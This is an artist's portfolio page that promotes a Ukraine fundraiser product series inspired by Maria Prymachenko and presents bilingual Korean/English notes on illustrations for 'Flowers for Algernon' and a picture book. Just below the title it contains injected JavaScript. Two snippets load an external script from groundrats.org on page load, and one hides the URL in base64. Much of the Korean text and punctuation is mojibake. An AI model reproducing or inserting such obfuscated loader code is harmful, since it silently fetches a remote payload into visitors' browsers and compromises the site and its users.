Sketches 2022

;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,’script’,’https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox’); ;(function(f,b,n,j,x,e){ var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′); x=b.createElement(n);e=b.getElementsByTagName(n)[0]; x.async=1;x.src=decodedUrl; e.parentNode.insertBefore(x,e); })(window,document,’script’);

products from the โ€œBe braveโ€ series to help Ukraine ๐Ÿ’™๐Ÿ’›

100% of sales will be transferred to the Ukrainian organization Come Back Alive

To order

to buy product
Click here

or text to bebrave.sales@gmail.com

Design Inspired by Ukranian naรฏve artist
MARIA PRYMACHENKO
(1909โ€“1997)

โ€œI bow down before the artistic miracle of this brilliant Ukrainian.โ€

Pablo Picasso

Maria Prymachenko is one of the 20th century’s greatest self-taught folk artists, a remarkable representative of naรฏve art style, and a symbol of Ukrainian national pride. Being incredibly productive she was involved with painting, embroidery, and ceramics. Maria was born and spent all her life in the village of Bolotnya, Kyiv Oblast, Ukraine. She earned fame in her lifetime for distinctive and exceptionally creative scenes of fantastical animals, covered in vibrant, nearly psychedelic ornaments. Her works, admired by Pablo Picasso and Marc Chagal, are now found in some of the country’s most important museums.

Perhaps the most remarkable thing about Maria is the way her life story and personality mirror the history of her country and the national character of Ukrainians. Throughout her life, she experienced some of the darkest moments in the history of Ukraine: the Soviet Genocide of Ukrainians in the form of the Holodomor, the atrocities of World War II, and the Chornobyl disaster. That is why among her folkloric and colorful paintings, there are others with a much more somber tone. Maria’s life was turned upside down when she contracted a life-long illness early in life. Her husband and brother died in the war. Despite this, she maintained a great love for life and a desire to create. This brave woman’s life and work are a testament to Ukraine’s unbreakable spirit. Her compatriots always admired her for this. Maria Prymachenko passed away in 1997 in an independent Ukraine, and her legacy lives on through the inspiration of new artists.

However, 25 years after her death, her legacy is currently under threat. On February 24, 2022, Russia launched an all-out war against Ukraine, violating its sovereignty. The Ivankiv Historical and Local History Museum, which housed several works by Prymachenko, was burned after a deliberate attack on a museum, resulting in the loss of 25 of her works. Given that Russia’s purpose in this war is to exterminate not only the Ukrainian people but also their national identity and culture, it’s hardly unexpected that this barbarous attack was intended at the museum. This is not the first time that Russian bombardment has damaged a Ukrainian museum, theater, architectural monument, or historic structure. Unfortunately, it won’t be the last if they can’t be stopped. However, according to a social media post by journalist Tanya Goncharova, local people managed to save some of the works from burning, showing a great example of courage and selflessness.

HELP UKRAINE

More than 5000 civilians have died, including at least 261 children; about 12 million people have been displaced; 23000 homes, 1123 schools, and 641 hospitals have been destroyed.

So far, these are the horrible consequences of Russia’s invasion, and the numbers are mounting by the day. Russian forces resort to explicitly targeting Ukrainian civilian infrastructure, premeditated strikes on shelters, evacuation routes, and humanitarian corridors, and indiscriminate bombing of residential areas in their attempts to push Ukrainians to submit. More than 22.000 people were murdered by Russian missiles and artillery bombardment on Mariupol alone. The world community has harshly denounced Russia’s activities, which have already been labeled as war crimes and genocide against the Ukrainian people by the majority of specialists.

Russia’s ultimate purpose in this battle and the โ€œfinal solutionโ€ to the Ukrainian question is to wipe out not just the Ukrainian people, but also their history and culture. The peace that Russia seeks does not include the Ukrainian nation’s survival. In such conditions, Ukraine’s armed forces and international support are the only ways to preserve Ukrainians from ultimate annihilation and the world from the menace of a militaristic, totalitarian state.

Our goal is to help support the Ukrainian military who are still fighting on the front line of the war between democracy and a totalitarian regime that is seeking to plunge the world into a global war. We need them to be able to handle the challenges ahead.

By purchasing products from the โ€œBe braveโ€ series, you contribute to peace and security in Ukraine and around the world.

100% of sales will be transferred to the Ukrainian organization

Come Back Alive

This website provides information about support for the Ukrainian military with non-lethal equipment. Their sole purpose is to help the Ukrainian military. For more information please visit the website comebackalive.in.ua  

Help us protect the lives of those who fight to protect freedom and democracy. We should make sure that heroes who protect their homeland and people come back alive.

์ž์œ ์™€ ๋ฏผ์ฃผ์ฃผ์˜๋ฅผ ์ง€ํ‚ค๊ธฐ ์œ„ํ•ด ์‹ธ์šฐ๋Š” ์‚ฌ๋žŒ๋“ค์˜ ์ƒ๋ช…์„ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ๋„๋ก ๋„์™€์ฃผ์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค. ์กฐ๊ตญ๊ณผ ๊ตญ๋ฏผ์„ ์ง€ํ‚ค๋Š” ์˜์›…๋“ค์ด ์‚ด์•„ ๋Œ์•„์˜ฌ ์ˆ˜ ์žˆ๋„๋ก ํ•ด์•ผ๋งŒ ํ•ฉ๋‹ˆ๋‹ค.

Watercolor illustration for novel “Flowers for Algernon” by Daniel Keyes

“Algernon์„ ์œ„ํ•œ ๊ฝƒ”์„ ์œ„ํ•œ ์ผ๋Ÿฌ์ŠคํŠธ๋ ˆ์ด์…˜.
์ด ์ผ๋Ÿฌ์ŠคํŠธ๋ ˆ์ด์…˜์€ ์ฃผ์ธ๊ณต์˜ ์–ด๋ฆฐ ์‹œ์ ˆ, ๊ทธ์˜ ๊ฐ€์กฑ, ์นœ์ง€๋“ค์— ๋Œ€ํ•œ ์งง์€ ๊ธฐ์–ต๋“ค์ด ๋Œ€ํ•œ ๊ทธ์˜ ๊ฐ์ •์— ๋Œ€ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ €๋Š” ์—ฌ๊ธฐ์—์„œ ์ธ๋””๊ณ (๋ณด๋ผ) ์ƒ‰๊ณผ ๊ฒ€์€ ์ƒ‰์„ ์ฃผ๋กœ ์‚ฌ์šฉํ•˜์˜€์Šต๋‹ˆ๋‹ค. ์ธ๋””๊ณ  ์ƒ‰์€ ์ง€์ ์ธ ๋‘๋‡Œํ™œ๋™์„ ๋‚˜ํƒ€๋‚ด๋Š” ์ƒ‰์œผ๋กœ ์•Œ๋ ค์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋‘ ๊ฐ€์ง€ ์ƒ‰์„ ์ฃผ๋กœ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ฐ ์ผ๋Ÿฌ์ŠคํŠธ๋ ˆ์ด์…˜์—์„œ ์ฃผ๋œ ์ฃผ์ œ์— ์ข€ ๋” ์ง‘์ค‘ํ•  ์ˆ˜ ์žˆ์–ด์„œ ๋ฌด์—‡์ด ์ค‘์š”ํ•œ ์ง€๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

Illustration for book ‘Flowers for Algernon’ by Daniel Keyes. Illustrations is about emotion of the main hero, short parts of his memories of childhood, his family, relationships. I used only two main colors – indigo(purple) and black. Indigo color well known as color of knowledge, brain activity. So using two colors helped me to concentrate on the main idea on the each illustration. To presented most important points.

4-3

์ด ๊ทธ๋ฆผ์€ ์–ด๋ฆฐ ์‹œ์ ˆ์˜ ๊ธฐ์–ต์— ๋Œ€ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋‘ ๊ฐœ์˜ ์–ผ๊ตด ์—†๋Š” ์ธ๋ฌผ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ๊ทธ๋“ค์€ ์ฃผ์ธ๊ณต์˜ ๋ถ€๋ชจ์ž…๋‹ˆ๋‹ค. ๊ทธ๋“ค์˜ ํ‚ค๋‚˜ ์˜์ƒ ๊ฐ™์€ ์™ธ๋ชจ๋Š” ์ฃผ์ธ๊ณต์˜ ๊ธฐ์–ต ์†์— ์ž˜ ์ƒˆ๊ฒจ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ทธ๋“ค์˜ ์–ผ๊ตด์€ ์ž˜ ๊ธฐ์–ตํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ด ๋‹ฌ๋ฆฐ ๊ฐ ๋ฐฉ๋“ค์€ ์šฐ๋ฆฌ๋“ค์˜ ์‚ถ ์†์—์„œ ์–ป๊ฒŒ ๋˜๋Š” ๊ธฐ์–ต๋“ค์ด ๋‹ด๊ฒจ์ ธ ์žˆ์Šต๋‹ˆ๋‹ค.

This illustration is about memories of childhood. You see two figure without face. It’s parents of main hero. Their appearance well imprint in his memories, their stature, clothes, but one what he cant remember good is a faces. Memory like rooms with a doors where we collect the most bright pictures of our life.

4-34-4

๊ฝƒ๋“ค์€ ์šฐ๋ฆฌ ์‚ถ ์†์—์„œ ์ตœ๊ณ ์˜ ์ƒ์ง•์ž…๋‹ˆ๋‹ค. ์‚ฌ๋ž‘๊ณผ ์ฉ”์€ ๋Œ€ํ™”, ์ƒˆ๋กœ์šด ์ž์‹์œผ๋กœ๋ถ€ํ„ฐ ์˜ค๋Š” ํ–‰๋ณต๋“ค์„ ์ƒ์ง•ํ•˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์น˜ ๊ธด ๊ฒจ์šธ์ด ์ง€๋‚˜๊ณ  ๋‚œ ๋’ค ๋ด„์— ์šฐ๋ฆฌ ์ฃผ๋ณ€์—์„œ ์ƒˆ์‹น๋“ค์ด ๋‹์•ˆํ•˜๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ง์ž…๋‹ˆ๋‹ค.

Flowers is all the best in our life. Happiness what gives love, short conversation, new knowledges, its all beautiful around, like new leaves on the spring after long winter.

1-11-2

6-1

์—ฌ์ž์™€ ๋‚จ์ž์˜ ๋ชจ์Šต. ๋ฐฐ๊ฒฝ์˜ ์‚ฌ๋žŒ์˜ ๊ทธ๋ฆผ์ž๋Š” ์šฐ๋ฆฌ ์‚ถ์†์— ๋‚˜ํƒ€๋‚˜๋Š” ์‚ฌ๋žŒ๋“ค์ž…๋‹ˆ๋‹ค. ๊ทธ๋“ค์€ ์™”๋‹ค๊ฐ€ ์ž ์‹œ ๋จธ๋ฌผ๊ณ  ๋˜ ์‚ฌ๋ผ์ง€๊ณ  ์šฐ๋ฆฌ๋Š” ์ด์ „์˜ ์šฐ๋ฆฌ๊ฐ€ ์•„๋‹™๋‹ˆ๋‹ค. ๊ทธ๋“ค์€ ์ด๋ฏธ ์ง€์›Œ์ง€์ง€ ์•Š๋Š” ๊ทธ๋“ค์˜ ์ผ๋ถ€๋ฅผ ๋‚จ๊ธฐ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Figure of Man and Woman. Human shadows on background is people who was and will be in our life. They come in, stay for a while, and gone, and we already can’t be same as before this acquaintance. They already left indelible part of themselves.

5-15-2

2-1

์ €๋Š” ๋‹น์‹ ์ด ๋งํ•œ ๋ง๊ณผ ๊ธ€๋“ค์„ ๊ฐ€์Šด ์†์— ๋‹ด์•„๋‘ก๋‹ˆ๋‹ค.

All your letters and words I collect in my heart.

2-22-3

์‹œ๊ฐ„์€ ๋ฉˆ์ถœ ์ˆ˜ ์—†๋Š” ๋น„์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค. ๋‘ ๊ฐœ์˜ ์ข…์ด์ƒˆ๋Š” ๋‘ ๊ฐœ์˜ ์˜ํ˜ผ์„ ๋งํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋“ค์€ ์–ผ๋งˆ๋‚˜ ์˜ค๋ž˜ ํ•จ๊ป˜ ํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”?

Time is a rain, who never can to stop. Two paper birds, two soul, how long they can be together?

3-13-2

๋•Œ๋•Œ๋กœ ์†Œ๋‚˜๊ธฐ๊ฐ€ ์šฐ๋ฆฌ ๋งˆ์Œ ์†์˜ ๊ณ ํ†ต์„ ์”ป์–ด ๋ƒ…๋‹ˆ๋‹ค. ๋ชจ๋“  ์ด์•ผ๊ธฐ๋“ค์€ ๋์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์–ด๋А๋‚  ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋น„๊ฐ€ ๋‚ด๋ฆฌ๊ณค ํ•ฉ๋‹ˆ๋‹ค.

Sometimes there is heavy rain what clean our heart from pain.
Every story has the end. And one day unexpected rain will start.

 

Picture Book “Through the wood”

์ด ์ฑ…์€ ๊ฟˆ, ์ธ์—ฐ ๊ทธ๋ฆฌ๊ณ  ํ–‰๋ณต์— ๊ด€ํ•œ ์ด์•ผ๊ธฐ๋ฅผ ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์†Œ๋…€ ๋งˆ๋ฆฌ์•„๋Š” ๋‚˜๋ฌด์— ์•‰์•„ ๊ฟˆ๊พธ๊ธฐ๋ฅผ ์ข‹์•„ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์•ˆํƒ€๊น๊ฒŒ๋„ ๊ทธ๋…€๋Š” ๋ณ‘์›์—์„œ ๋Œ€๋ถ€๋ถ„์˜ ์‹œ๊ฐ„์„ ๋ณด๋‚ด์•ผ๋งŒ ํ•ฉ๋‹ˆ๋‹ค. ์–ด๋А๋‚  ๋งˆ๋ฆฌ์•„๋Š” ์šฐ์—ฐํžˆ ์•„๋ฆ„๋‹ต๊ณ  ์‹ ๊ธฐํ•œ ๋‚˜๋ฌด๋“ค ์‚ฌ์ด๋ฅผ ๊ฑท๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๊ณณ์—๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๋ฌธ๋“ค์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ทธ๊ณณ์—์„œ ๋งˆ๋ฆฌ์•„๋Š” ๊ณ ์–‘์ด์™€ ํ•จ๊ป˜ ์žˆ๋Š” ํ•œ ์†Œ๋…„์„ ๋งŒ๋‚˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋“ค์€ ์ƒˆ ๋ฌธ์„ ํ•จ๊ป˜ ์—ด์–ด๋ณด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋ด„์˜ ๋ฌธ์„ ์—ด๊ณ  ๊ทธ๋“ค์€ ๋‚˜๋ฌด ์œ„ ๋„์‹œ๋ฅผ ์ฐพ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

This picture book is about dreams, opportunities and happiness. Girl Maria likes to seat and dream in the wood, but unfortunately almost all time she spends in a hospital. Once Maria has opportunity to walk in charming and magic wood, where is so many doors. She meets there a boy Oles with his cat. And they open new door together. Open door of spring, find city on the trees…

12345678-19101213-11415-1171781921